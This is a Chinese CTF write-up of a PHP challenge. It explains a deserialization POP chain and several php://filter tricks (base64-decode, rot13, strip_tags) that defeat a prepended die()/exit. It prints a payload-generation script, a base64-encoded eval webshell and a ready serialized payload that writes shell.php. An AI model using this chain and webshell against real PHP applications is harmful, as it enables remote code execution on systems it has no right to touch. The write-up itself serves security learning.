天权信安&catf1ag die绕过

POP

源码:

arr as $k => $v){   //foreach循环数组  arr   
            echo $this->hzy->$v;
            echo "
hzy是社么鬼???"; } } } class catf1ag2{ public $file; public $txt = ''; function __get($key){ if($key == 'pputut'){ return $this->pputut(); }else{ return '

'.htmlspecialchars($key).'

'; } } function pputut(){ if( strpos($this->file,'../') !== false || strpos($this->file,'\\') !== false //用strpos就可以排除从头开始出来的字符进行过滤 ) die(); $content = ''; echo "NICE!!!,来自wsy赠送的小红花
"; $content .= $this->txt; file_put_contents($this->file, $content); //这里是重点 通过fileget_contents传入一句话木马拿到flag return htmlspecialchars($content); } } if(!empty($_POST)){ $hzy = base64_decode($_POST['giao']); // 通过giao传入 post之后进行base64编码 传给变量hzy $instance = unserialize($hzy); //反序列化hzy后 传给变量instance }else{ $a = new catf1ag1(); $a->show(); }

  file_put_contents($this->file, $content);   这里是传入要点  思路就是传入文件

利用重点

 $content = '';
 echo "NICE!!!,来自wsy赠送的小红花
"; $content .= $this->txt; file_put_contents($this->file, $content); return htmlspecialchars($content);

die的死亡绕过天权信安&catf1ag die绕过_第1张图片

谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)

可以通过base64 rot13编码特性 、 strip_tags函数去除它  来解决

分析一下就是先从wakeup进入,有一个foreach遍历数组,我们需要传入一个数组之后我们的目的是利用file_put_contents所以我们要触发_get,所以我们将catf1ag1中的hzy赋值给catf1ag2来触发_get

__get()

读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。

因为catflag2中的hzy属性不存在 所以可以将catf1ag1中的hzy赋值给catf1ag2来触发__get

天权信安&catf1ag die绕过_第2张图片

 当传入key值=pputut时  return pputut()  即可触发此方法

天权信安&catf1ag die绕过_第3张图片

 strpos 顺序检查遇到../ || \\就会 die  所以

在pputut()中的文件不能存在../和\\   

base64编码过程中会忽略‘ < ? ; 等   最终剩下的只有  phpdiestupid  12个字符    是4的倍数即可

hzy = new catf1ag2;
        $this->arr = ["pputut"];
    }
}

class catf1ag2{
    public $file;
    public $txt = '';
    public function __construct()
    {
        $this->txt ="PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==";
        $this->file = 'php://filter/convert.base64-decode/resource=shell.php';
    }
}


    $a = new catf1ag1();
echo base64_encode(serialize($a));

//Tzo4OiJjYXRmMWFnMSI6Mjp7czozOiJoenkiO086ODoiY2F0ZjFhZzIiOjI6e3M6NDoiZmlsZSI7czo1MzoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1zaGVsbC5waHAiO3M6MzoidHh0IjtzOjMyOiJQRDl3YUhBZ1pYWmhiQ2drWDFCUFUxUmJZVjBwT3c9PSI7fXM6MzoiYXJyIjthOjE6e2k6MDtzOjY6InBwdXR1dCI7fX0=


细说绕过die():

在此题中不管怎么写入什么都会被拼接exit(),导致后续加入的木马不执行

  幸运的是,这里的`$_POST['filename']`是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将`$content`解码,利用php base64_decode函数特性去除“死亡die”。           我来称它为破坏DNA (●'◡'●)

  众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。所以 相当于base64将字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围全部忽略掉,以致最终只有“phpexit”和我们传入的其他字符将是传入真正的数据。

综上,当`$content`被加上了``以后,所以我们可以使用 php://filter/write=convert.base64-decode  来首先对其解码,从而破坏一句话木马的结构(破坏DNA)导致程序不会被die掉,从而保证继续执行我们后续传入的内容。

最后  访问shell.php进行命令执行即可~

注意  base64解码 时  以4位一组进行   因此在遇到不满足4倍数情况的时候不要忘记填充

例如P神所说:


';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是没有了。

最后效果是 :天权信安&catf1ag die绕过_第4张图片

再总结下P神所说的另外两种方法:rot13  则是利用了编码之后php不识别的情况

在经过rot13编码后会变成

天权信安&catf1ag die绕过_第5张图片

 我们还可以利用php://filter字符串处理方法来去除“死亡exit”。我们观察一下,这个实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:

天权信安&catf1ag die绕过_第6张图片

因为要写入自己的代码  所以函数会将我们所写入的webshell也会删除php标签   所以可以利用php://filler的过滤器支持的分别处理方式来进行不同层次的编码  (php://filter允许使用多个过滤器)   先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原

天权信安&catf1ag die绕过_第7张图片

 

 学习来源:P神の博客 

你可能感兴趣的:(ctf,web,php)